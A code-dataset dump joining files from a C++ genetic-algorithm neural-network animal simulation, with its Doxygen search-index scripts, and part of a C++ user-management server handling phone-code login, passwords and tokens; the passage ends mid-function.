if (randomParent(generator) == 0) {
child.DNA.push_back(parents[fatherIndex].DNA[j]);
} else {
child.DNA.push_back(parents[motherIndex].DNA[j]);
}
}
}
} else {
// no crossover, we choose one random parent and copy his DNA
if (randomParent(generator) == 0)
child.DNA = parents[fatherIndex].DNA;
else
child.DNA = parents[motherIndex].DNA;
}
mutation(child.DNA);
children.push_back(child);
}
}
void Genetics::mutation(std::vector<float> &DNA) {
std::uniform_int_distribution<int> mutationProbability(0, 100);
// MUTATION_PROBABILITY % chances that we apply mutation
if (mutationProbability(generator) <= MUTATION_PROBABILITY) {
// we mutate exactly one gene from the DNA
std::uniform_int_distribution<int> randGene(0, DNA.size() - 1);
int geneIndex = randGene(generator);
std::normal_distribution<float> gauss(DNA[geneIndex], MUTATION_GAUSS_DEVIATION);
DNA[geneIndex] = gauss(generator);
}
}
int Genetics::compareAnimalData(const void *a, const void *b) {
return ((AnimalData*) a)->score - ((AnimalData*) b)->score;
}<file_sep>var searchData=
[
['cfg',['CFG',['../utils_8h.html#ac78c5725422c0d27681a678fd24251c3',1,'utils.h']]],
['chicken',['CHICKEN',['../utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba7b83bba0067a592898404136ead1f3e6',1,'utils.h']]],
['closestallyangle',['closestAllyAngle',['../class_animal.html#a53819180fe828fe2b68c7bbd7932ec9d',1,'Animal']]],
['closestenemyangle',['closestEnemyAngle',['../class_animal.html#a38e826603b1d70a75c89c59964d7e34e',1,'Animal']]],
['closestfruitangle',['closestFruitAngle',['../class_animal.html#a587480ed32eadd3b7590e880f05d5e4d',1,'Animal']]],
['config_5fparser_2ecpp',['config_parser.cpp',['../config__parser_8cpp.html',1,'']]],
['config_5fparser_2eh',['config_parser.h',['../config__parser_8h.html',1,'']]],
['configparser',['ConfigParser',['../class_config_parser.html',1,'']]],
['create',['create',['../class_config_parser.html#a7525ed2717618bab9644cec9cb77bbdd',1,'ConfigParser']]]
];
<file_sep>var searchData=
[
['vect2i',['Vect2i',['../struct_vect2i.html',1,'Vect2i'],['../struct_vect2i.html#a141de752973cb8b63e70e16f84653f03',1,'Vect2i::Vect2i()'],['../utils_8h.html#adfec4d83ed4c3c15bd0a4dbfb978102e',1,'Vect2i(): utils.h']]]
];
<file_sep>var searchData=
[
['lastpos',['lastPos',['../class_animal.html#a803f0b218477a5e365c1dde6128fb53e',1,'Animal']]],
['layer',['Layer',['../class_layer.html',1,'Layer'],['../class_layer.html#a16d6a7a3cff2e9e489186400a9d0f4f2',1,'Layer::Layer()']]],
['layer_2ecpp',['layer.cpp',['../layer_8cpp.html',1,'']]],
['layer_2eh',['layer.h',['../layer_8h.html',1,'']]],
['loop',['loop',['../class_game.html#a7ad92b77b596d7882a7ae76eb18b5e6c',1,'Game']]],
['lynx',['LYNX',['../utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba2c9e081066c09f8b4709fe0cb618500f',1,'utils.h']]]
];
<file_sep>var dir_68267d1309a1af8e8297ef4c3efbcdba =
[
[ "animal.cpp", "animal_8cpp.html", "animal_8cpp" ],
[ "animal.h", "animal_8h.html", [
[ "Animal", "class_animal.html", "class_animal" ]
] ],
[ "config_parser.cpp", "config__parser_8cpp.html", "config__parser_8cpp" ],
[ "config_parser.h", "config__parser_8h.html", [
[ "ConfigParser", "class_config_parser.html", "class_config_parser" ]
] ],
[ "display.cpp", "display_8cpp.html", null ],
[ "display.h", "display_8h.html", [
[ "Display", "class_display.html", "class_display" ]
] ],
[ "entity.cpp", "entity_8cpp.html", null ],
[ "entity.h", "entity_8h.html", [
[ "Entity", "class_entity.html", "class_entity" ]
] ],
[ "entity_manager.cpp", "entity__manager_8cpp.html", null ],
[ "entity_manager.h", "entity__manager_8h.html", "entity__manager_8h" ],
[ "fruit.cpp", "fruit_8cpp.html", null ],
[ "fruit.h", "fruit_8h.html", "fruit_8h" ],
[ "game.cpp", "game_8cpp.html", null ],
[ "game.h", "game_8h.html", [
[ "Game", "class_game.html", "class_game" ]
] ],
[ "genetics.cpp", "genetics_8cpp.html", null ],
[ "genetics.h", "genetics_8h.html", [
[ "Genetics", "class_genetics.html", "class_genetics" ]
] ],
[ "layer.cpp", "layer_8cpp.html", null ],
[ "layer.h", "layer_8h.html", [
[ "Layer", "class_layer.html", "class_layer" ]
] ],
[ "main.cpp", "main_8cpp.html", "main_8cpp" ],
[ "neural_network.cpp", "neural__network_8cpp.html", null ],
[ "neural_network.h", "neural__network_8h.html", [
[ "NeuralNetwork", "class_neural_network.html", "class_neural_network" ]
] ],
[ "neuron.cpp", "neuron_8cpp.html", null ],
[ "neuron.h", "neuron_8h.html", [
[ "Neuron", "class_neuron.html", "class_neuron" ]
] ],
[ "utils.h", "utils_8h.html", "utils_8h" ]
];<file_sep>#ifndef LAYER_H
#define LAYER_H
#include <stdlib.h>
#include <vector>
#include "utils.h"
#include "config_parser.h"
#include "neuron.h"
/**
* @brief Class representing a layer of neurons inside the neural network
* @param _inputsNumber Number of inputs for each neuron
* @param _neuronsNumber Number of outputs for each neuron
*
* The wikipedia page of Neural Networks will explain you better what a layer is, so go check out if you have any doubt.
* Neuron and NeuralNetwork are more interesting classes to investigates, Layer is only an intermediate.
*/
class Layer {
public :
Layer(unsigned int _inputsNumber, unsigned int _neuronsNumber);
~Layer();
/**
* @brief initialize the neurones of the layer with the inputs/outputs numbers
*/
void initNeurons();
/**
* @brief Execution of all the neurons of the layer according to the inputs array
* @param inputs The inputs array
* @return A float array representing the outputs
*/
std::vector<float> run(const std::vector<float> inputs);
/**
*
* @return the DNA of all the neurons as a float vector
*/
std::vector<float> getDNA();
/**
*
* @return The DNA of all the neurons size
*/
unsigned int getDNASize() const;
/**
* @brief Update the neurons' DNA with the news value
* @param DNA The new DNA to set
*/
void setDNA(const std::vector<float> &DNA);
private :
unsigned int inputsNumber, neuronsNumber;
std::vector<Neuron> neurons;
std::vector<float> outputs;
};
#endif // LAYER_H
<file_sep>var searchData=
[
['vect2i',['Vect2i',['../struct_vect2i.html#a141de752973cb8b63e70e16f84653f03',1,'Vect2i']]]
];
<file_sep>var searchData=
[
['game',['Game',['../class_game.html',1,'']]],
['genetics',['Genetics',['../class_genetics.html',1,'']]]
];
<file_sep>var class_animal =
[
[ "Animal", "class_animal.html#a1e726a49ec952443190ac62dad22353c", null ],
[ "~Animal", "class_animal.html#a16d8b7f94611cc65f5cdb58cc105527b", null ],
[ "die", "class_animal.html#a557fe0d71dda75be2f8459ce0d7c2275", null ],
[ "getAttackValue", "class_animal.html#a757b167f05eafa17816598d4fcd2f184", null ],
[ "getBattleOutput", "class_animal.html#a49148f18eaebc09edf2bac4d3e44c7ea", null ],
[ "getClosestAllyAngle", "class_animal.html#a45483c0d3e22a02ca60aa83f4b1b0b23", null ],
[ "getClosestEnemyAngle", "class_animal.html#adabb251a3c5513ebbc62582a5a68055b", null ],
[ "getClosestFruitAngle", "class_animal.html#aac4b5d159b02fcae1dc6f427049c8485", null ],
[ "getDefenseValue", "class_animal.html#a00ec5bc73a90c26bfcf889fa5b85e688", null ],
[ "getDisplayPos", "class_animal.html#a83a2929c3385a82aefaa689b3330c445", null ],
[ "getDNA", "class_animal.html#a0dcf09dfc831663b028a58a2c841dc06", null ],
[ "getScore", "class_animal.html#a9aedb2b6650341f976371a362d21ecfa", null ],
[ "incrementScore", "class_animal.html#a31a4619f7b33b8b3ad6c0b1f43898cac", null ],
[ "init", "class_animal.html#acd693bbac16d2f7dec930124887a9095", null ],
[ "init", "class_animal.html#a75461b99c111f22dbb0231bcc397a1c9", null ],
[ "isAlive", "class_animal.html#a5857d66a5303516578af7fc52ffc1107", null ],
[ "update", "class_animal.html#a18790d841ee27bf53ac8dfeb91750a80", null ],
[ "updatePosition", "class_animal.html#a0b6103b76a223ce2eaad73877ff85c73", null ],
[ "alive", "class_animal.html#a38d08d48cf5b16863bb40fa731b06629", null ],
[ "ANIMAL_ANGULAR_SPEED", "class_animal.html#a4004efb93813a375712ad5d82a404659", null ],
[ "ANIMAL_LINEAR_SPEED", "class_animal.html#a4468a9e53e199e90deccd07d2315f13a", null ],
[ "battleOutput", "class_animal.html#a3db09e6629852d9a54dc5b6648d3fb28", null ],
[ "closestAllyAngle", "class_animal.html#a53819180fe828fe2b68c7bbd7932ec9d", null ],
[ "closestEnemyAngle", "class_animal.html#a38e826603b1d70a75c89c59964d7e34e", null ],
[ "closestFruitAngle", "class_animal.html#a587480ed32eadd3b7590e880f05d5e4d", null ],
[ "lastPos", "class_animal.html#a803f0b218477a5e365c1dde6128fb53e", null ],
[ "network", "class_animal.html#a61e897a85af66b3b8315e313ed86a307", null ],
[ "score", "class_animal.html#ab5ab9a2e34464e0415b6588e820b0ad7", null ],
[ "speed", "class_animal.html#a280335c5deaf3402c85ab95a7653a483", null ]
];<file_sep>var fruit_8h =
[
[ "Bush", "struct_bush.html", "struct_bush" ],
[ "Fruit", "class_fruit.html", "class_fruit" ],
[ "Bush", "fruit_8h.html#a821849b8b231998fc0b5e7b2d20c483d", null ]
];<file_sep>#include "neuron.h"
Neuron::Neuron(unsigned int _inputsNumber)
: inputsNumber(_inputsNumber), NEURON_SIGMOID(CFG->readFloat("NeuronSigmoid")) {
initWeights();
}
Neuron::~Neuron() {}
void Neuron::initWeights() {
std::uniform_real_distribution<float> random(-1, 1);
weights.clear();
// i <= inputs : the first weight is for the bias
for (unsigned int i = 0; i <= inputsNumber; i++)
weights.push_back(random(generator));
}
// Execution du calcul du neurone en fonction de inputs
const float Neuron::run(const std::vector<float> inputs) {
// weights[0] = bias
float sum = weights[0];
// calcul de la combinaison linéraire weights * inputs
for (unsigned int i = 0; i < inputsNumber && i < inputs.size(); i++)
sum += weights[i+1]*inputs[i];
// La sigmoide de sum renvoie un float ]-1;1[
return 1/(1 + expf(-sum/NEURON_SIGMOID)) * 2.f - 1.f;
}
// Changement de l'ADN après passage de l'algo génétique
void Neuron::setDNA(const std::vector<float> &DNA) {
for (unsigned int i = 0; i < DNA.size() && i < weights.size(); i++)
weights[i] = DNA[i];
}
std::vector<float> Neuron::getDNA() {
return weights;
}
<file_sep>var searchData=
[
['fish',['FISH',['../utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba4d32e9d38eff7badd2435c3e87ae78a5',1,'utils.h']]],
['fox',['FOX',['../utils_8h.html#a06fc87d81c62e9abb8790b6e5713c55ba1b56ce6b979242ea0223334ed2438a8d',1,'utils.h']]],
['fruit',['Fruit',['../class_fruit.html',1,'Fruit'],['../class_fruit.html#aa40ce1fdb1b361880d27171f05a2ab5a',1,'Fruit::Fruit()']]],
['fruit_2ecpp',['fruit.cpp',['../fruit_8cpp.html',1,'']]],
['fruit_2eh',['fruit.h',['../fruit_8h.html',1,'']]]
];
|
b57001a7924f68d7ebf3f8e5d99909eee5304980
|
[
"JavaScript",
"Makefile",
"C++"
] | 89 |
JavaScript
|
Adrien-Luxey/Neurones
|
a35ca698e7baa5107c0ff11058583fee753da480
|
752642a6c46b30e70f27d9511e4591d8ff2491df
|
refs/heads/master
|
<repo_name>hunterhang/user_mgt_svr<file_sep>/user_mgt.h
/**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Author: <EMAIL>
*/
#ifndef _USER_MGT_H
#define _USER_MGT_H
#include "base/base_common.h"
#include "base/base_singleton_t.h"
#include "base/base_thread_mutex.h"
#include "comm/common.h"
#include "mysql_mgt.h"
const unsigned int PHONE_CODE_TTL = 120; //手机验证码的过期时间
const unsigned int PHONE_CODE_SECRET_TTL = 300; //code 对应的secret 的过期 时间
const unsigned int PHONE_CODE_LEN = 4; //生成手机验证码长度
const unsigned int USER_PROFILE_CACHE_TTL = 3600 * 24 * 14;//缓存2周用户的个人信息
//获取手机短信类型
const std::string SMS_DOMAIN = "api.evergrande.cn";
const unsigned int SMS_CONN_TIMEOUT = 2;//ms
const unsigned int SMS_RW_TIMEOUT = 2;//ms
//const std::string SMS_DOMAIN = "192.168.127.12";
const unsigned short SMS_PORT = 80;
//Redis前缀
const std::string UM_PHONE_CODE = "Phone:code_"; //手机验证码的redis前缀
const std::string UM_PHONE_SECRET = "Phone:secret_";//手机验证码对换票据的前缀
const std::string UM_REDIS_USER_PREFIX = "User:user_";
const std::string SMS_KEY = "<KEY>";
const unsigned int TOKEN_NONCE_LEN = 8;//token参数的随机串nonce
const unsigned int TOKEN_LEN = 512;//token的长度
const unsigned int PWD_SALT_LEN = 8;//密码加盐长度
//const unsigned int TOKEN_TTL = 3600 * 24 * 3;
const unsigned int TOKEN_TTL = 3600*24*3;
const unsigned int CODE_LOGIN_MAX_TRY_TIMES = 3;//一个周期内,code登录的重试最大次数
const unsigned int MAX_PROTOCOL_BUFF_LEN = 1024;//回包时的包最大长度
const unsigned int SQL_LEN = 512;
const unsigned int RANDON_STRING_MAX_LENGTH = 32;
//验证码类型
enum PhoneCodeType
{
PHONE_CODE_BEGIN = 0,
PHONE_CODE_REGISTER = 1,//注册
PHONE_CODE_LOGIN = 2, //登录
PHONE_CODE_RESET_PWD = 3,//忘记密码
PHONE_CODE_END = 4,
};
struct UserAttr
{
unsigned long long user_id;
std::string phone;
std::string name;
std::string nick;
std::string birthday;
short gender;
std::string avatar;
unsigned long long last_login_time;
unsigned long long last_family_id;
};
struct UserCache
{
UserCache() :last_login_time(0),create_at(0) {};
std::string phone;
std::string password;
std::string salt;
short state;
unsigned long long last_family_id;
std::string nick;
std::string name;
std::string avatar;
short gender;
std::string birthday;
unsigned long long last_login_time;
unsigned long long create_at;
};
struct TokenInfo {
TokenInfo() :from("Server") {};
unsigned long long user_id;
std::string phone;
unsigned long long create_time;
unsigned long long expire_time;
std::string from;
std::string salt;
std::string pwd;//原密码经过客户端md5后的字符串
std::string nonce;//随机串
TokenType token_type;//token类型
std::string sig;//签名hmac_sha1算法
};
USING_NS_BASE;
class User_Mgt
{
public:
User_Mgt();
~User_Mgt();
int register_user(const std::string &phone,const std::string &secret,const std::string &pwd,const std::string &msg_tag, unsigned long long &uuid,std::string &salt, std::string &err_info);
int get_phone_code(const std::string &phone, const PhoneCodeType type,const std::string &msg_tag, std::string &err_info);
int check_phone_code(const std::string &phone, const std::string &code, const PhoneCodeType type, std::string &secret, const std::string &msg_tag, std::string &err_info);
int login_code(const std::string &phone, const std::string &code, unsigned long long &user_id, std::string &token, const std::string &msg_tag, std::string &err_info);
int login_pwd(const std::string &phone, const std::string &pwd, unsigned long long &user_id, std::string &token, const std::string &msg_tag, std::string &err_info);
int auth(const unsigned long long user_id, const std::string &token,std::string &refresh_token, const std::string &msg_tag, std::string &err_info);
int reset_pwd(const std::string &pwd,const std::string &secret, std::string &token, const std::string &msg_tag, std::string &err_info);
int set_pwd(const unsigned long long user_id, const std::string &pwd_old, const std::string &pwd_new, std::string &account_token, std::string &auth_token, const std::string &msg_tag, std::string &err_info);
int get_user_profile(const unsigned long long user_id, UserAttr &user_attr, const std::string &msg_tag, std::string &err_info);
int update_user_profile(const unsigned long long user_id, const UserAttr &user_attr, const std::string &msg_tag, std::string &err_info);
int get_user_account(const unsigned long long &user_id,const std::string &msg_tag, std::string &token, std::string &err_info);
private:
/**
* 生成手机随机验证码
* 生成随机数
* code_len 表示验证码的长度
* code 表示返回结果
**/
std::string generate_rand_num(const unsigned int length);
std::string generate_code_secret(const std::string &code);
std::string get_table_name(unsigned long long uuid, const std::string &table_name);
int refresh_user_cache(const unsigned long long &user_id,mysql_conn_Ptr &mysql_conn,const std::string &msg_tag);
/**
* 用户登录时的token
unsigned long long user_id;
std::string phone;
unsigned long long create_time;
unsigned long long expire_time;
std::string from;
std::string salt;
TokenType token_type;
std::string hmac_sha1;
//1,将除“hmac_sha1”外的所有参数按key进行字典升序排列,排序结果为:create_time,expire_time,flag,from,nonce,phone,salt,user_id
//2,将第2步中排序后的参数(key = value)用&拼接起来:例如:create_time=11123&expire_time=123123&flag=1&from=Server&nonce=123123&phone=13316825572&salt=asdfghjk&user_id=1012
//3,生成签名串. key = md5(pwd); sig = hmac_sha1(src,key);
//{“user_id”:1111,“phone”:“13900000001”,“nonce”:“dadsadsdsd”,“flag”:“dsadsada”,“create_time”:12321312321,“expire_time”:12321321321,“from”:“Router|Server”,"salt":"xxx",“hmac-sha1”:“adsdsadsadsadsadsad”}
*/
int generate_token(const std::string &key,TokenInfo &token_info, std::string &token,std::string &err_info);
int check_token(const unsigned long long &user_id, const std::string &key,const std::string &phone, const std::string &token,TokenInfo &token_info, std::string &err_info);
int sig_token(const std::string &key, const TokenInfo &token_info, std::string &err_info);
int get_sig_token(const std::string &key, const TokenInfo &token_info, std::string &sig);
std::string generate_rand_str(const unsigned int length);
};
#define PSGT_User_Mgt Singleton_T<User_Mgt>::getInstance()
#endif
<file_sep>/processor.cpp
//#include <regex>
#include "processor.h"
#include "req_mgt.h"
#include "comm/common.h"
#include "protocol.h"
#include "base/base_net.h"
#include "base/base_string.h"
#include "base/base_logger.h"
#include "base/base_url_parser.h"
#include "base/base_uid.h"
#include "base/base_utility.h"
#include "base/base_base64.h"
#include "base/base_cryptopp.h"
#include "msg_oper.h"
#include "conf_mgt.h"
#include "conn_mgt_lb.h"
#include "user_mgt.h"
extern Logger g_logger;
extern StSysInfo g_sysInfo;
extern Conn_Mgt_LB g_uid_conn;
extern Conn_Mgt_LB g_push_conn;
extern Conn_Mgt_LB g_sms_conn;
Processor::Processor()
{
}
Processor::~Processor()
{
}
int Processor::do_init(void *args)
{
int nRet = 0;
return nRet;
}
int Processor::svc()
{
int nRet = 0;
std::string err_info = "";
//获取req 并且处理
Request_Ptr req;
nRet = PSGT_Req_Mgt->get_req(req);
if(nRet != 0)
{
return 0;
}
XCP_LOGGER_INFO(&g_logger, "prepare to process req from access svr:%s\n", req->to_string().c_str());
std::string method = "";
unsigned long long timestamp = 0,real_id = 0;
unsigned int req_id = 0;
std::string msg_tag = "";
nRet = XProtocol::req_head(req->_req, method, timestamp, req_id, msg_tag,real_id, err_info);
if(nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, "null", 0, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//更新req 信息
req->_req_id = req_id;
req->_app_stmp = timestamp;
req->_msg_tag = msg_tag;
if(method == CMD_REGISTER_USER)
{
XCP_LOGGER_INFO(&g_logger, "--- register user ---\n");
//1,parse json
std::string phone;
std::string secret;
std::string pwd;
nRet = XProtocol::register_user_req(req->_req, phone, secret,pwd, err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s,msg_tag:%s\n", nRet, err_info.c_str(), req->to_string().c_str(),msg_tag.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
unsigned long long uuid;
std::string pwd_salt;
nRet = PSGT_User_Mgt->register_user(phone, secret, pwd,req->_msg_tag,uuid,pwd_salt,err_info);
XCP_LOGGER_INFO(&g_logger, "register result,phone:%s,uuid:%llu,pwd_salt:%s,nRet:%d,msg_tag:%s\n",phone.c_str(),uuid,pwd_salt.c_str(),nRet,msg_tag.c_str());
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "register failed,phone:%s,uuid:%llu,nRet:%d,pwd_salt:%s,err_info:%s,msg_tag:%s\n", phone.c_str(), uuid, nRet,pwd_salt.c_str(),err_info.c_str(),msg_tag.c_str());
}
else {
err_info = "success";
XCP_LOGGER_INFO(&g_logger, "register failed,phone:%s,uuid:%llu,nRet:%d,pwd_salt:%s,err_info:%s,msg_tag:%s\n", phone.c_str(), uuid, nRet, pwd_salt.c_str(), err_info.c_str(),msg_tag.c_str());
}
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
}
else if (method == CMD_LOGIN_CODE)
{
XCP_LOGGER_INFO(&g_logger, "--- login_code ---\n");
//1,parse json
std::string phone;
int type;
std::string code;
nRet = XProtocol::login_code_req(req->_req, phone, code, err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//2,正则检查输入参数和code
if (code.empty())
{
err_info = "input param error!";
return ERR_INVALID_REQ;
}
//3,业务操作
std::string token;
unsigned long long user_id;
nRet = PSGT_User_Mgt->login_code(phone, code, user_id, token,msg_tag, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "login_code failed, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
return 0;
}
//4,rsp
std::string result_body;
result_body = XProtocol::login_code_rsp(user_id, token);
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info, result_body, true);
}
else if(method == CMD_LOGIN_PWD)
{
XCP_LOGGER_INFO(&g_logger, "--- login_pwd ---\n");
//
std::string phone;
std::string pwd;
nRet = XProtocol::login_pwd_req(req->_req, phone, pwd, err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//参数校验
//3,业务操作
std::string token;
unsigned long long user_id;
nRet = PSGT_User_Mgt->login_pwd(phone, pwd, user_id, token, msg_tag,err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "login_pwd failed, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
return 0;
}
//4,rsp
std::string result_body;
result_body = XProtocol::login_pwd_rsp(user_id, token);
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info, result_body, true);
}
else if(method == CMD_AUTH)
{
XCP_LOGGER_INFO(&g_logger, "--- auth ---\n");
unsigned long long user_id;
std::string token;
nRet = XProtocol::auth_req(req->_req, user_id,token, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
if (user_id == 0)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
XCP_LOGGER_INFO(&g_logger, "CMD_AUTH info,user_id:%llu,token:%s\n", user_id,token.c_str());
//参数校验
//3,业务操作
std::string refresh_token;
nRet = PSGT_User_Mgt->auth(user_id,token,refresh_token,req->_msg_tag, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "login_pwd failed, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
return 0;
}
//4,rsp
err_info = "success";
std::string result_body;
result_body = XProtocol::auth_rsp(user_id,refresh_token);
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info, result_body, true);
}
else if(method == CMD_GET_PHONE_CODE)
{
XCP_LOGGER_INFO(&g_logger, "---get phone code ---\n");
//1,parse json
std::string phone;
int type;
nRet = XProtocol::get_phone_code_req(req->_req,phone, type, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s,msg_tag:%s\n", nRet, err_info.c_str(), req->to_string().c_str(),req->_msg_tag.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
if (PHONE_CODE_BEGIN >= type || PHONE_CODE_END <= type)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid type, req:%s,msg_tag:%s\n", req->to_string().c_str(),req->_msg_tag.c_str());
err_info = "invalid code type";
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//3,send http
nRet = PSGT_User_Mgt->get_phone_code(phone, (PhoneCodeType)type, req->_msg_tag,err_info);
//4,rsp
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
}
else if (method == CMD_CHECK_PHONE_CODE)
{
XCP_LOGGER_INFO(&g_logger, "--- check phone code ---\n");
std::string phone;
int type;
std::string code;
nRet = XProtocol::check_phone_code_req(req->_req, phone, code,type, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method,req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
if (PHONE_CODE_BEGIN >= type || PHONE_CODE_END <= type)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid type, req:%s\n", req->to_string().c_str());
err_info = "invalid code type";
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//仅支持两种类型
PhoneCodeType _type = (PhoneCodeType)type;
if (_type != PHONE_CODE_REGISTER && _type != PHONE_CODE_RESET_PWD)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid type2, req:%s\n", req->to_string().c_str());
err_info = "invalid code type";
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//3,send http
std::string secret;
nRet = PSGT_User_Mgt->check_phone_code(phone, code, (PhoneCodeType)_type, secret,req->_msg_tag, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "check_phone_code error!nRet=%d,err_info:%s,msg_tag:%s\n",nRet,err_info.c_str(),req->_msg_tag.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
return 0;
}
XCP_LOGGER_INFO(&g_logger, "check_phone_code succ!phone:%s,code:%s,type:%d,secret:%s,msg_tag:%s\n",phone.c_str(),code.c_str(),(int)_type,secret.c_str(), req->_msg_tag.c_str());
//4,rsp
std::string result_body;
result_body = XProtocol::check_phone_code_rsp(secret);
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info, result_body,true);
}
else if(method == CMD_SET_PWD)
{
XCP_LOGGER_INFO(&g_logger, "--- set pwd ---\n");
unsigned long long user_id = real_id;
if (user_id == 0)
{
err_info = "please login first!";
XCP_LOGGER_ERROR(&g_logger, "it is invalid req,user_id is 0, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
std::string pwd_old, pwd_new;
nRet = XProtocol::set_pwd_req(req->_req, pwd_old, pwd_new, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//todo:check param
std::string account_token;
std::string auth_token;
nRet = PSGT_User_Mgt->set_pwd(user_id, pwd_old, pwd_new, account_token, auth_token,msg_tag, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "set pwd error!nRet=%d,err_info:%s\n", nRet, err_info.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
return 0;
}
XCP_LOGGER_INFO(&g_logger, "set pwd success!nRet=%d,account_token:%s,auth_token:%s\n", nRet, account_token.c_str(),auth_token.c_str());
std::string result_body;
result_body = XProtocol::set_pwd_rsp(account_token,auth_token);
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info, result_body, true);
}
else if(method == CMD_RESET_PWD)
{
XCP_LOGGER_INFO(&g_logger, "--- reset pwd ---\n");
//
std::string pwd,secret;
nRet = XProtocol::reset_pwd_req(req->_req, pwd,secret, err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "it is invalid req, ret:%d, err_info:%s, req:%s\n", nRet, err_info.c_str(), req->to_string().c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, ERR_INVALID_REQ, err_info);
return 0;
}
//todo:check param
std::string token;
nRet = PSGT_User_Mgt->reset_pwd(pwd,secret,token,req->_msg_tag, err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "reset pwd error!nRet=%d,err_info:%s\n", nRet, err_info.c_str());
Msg_Oper::send_msg(req->_fd, method, req_id, req->_msg_tag, nRet, err_info);
return 0;
}
XCP_LOGGER_INFO(&g_logger, "reset pwd success!nRet=%d,token:%s\n", nRet, token.c_str());
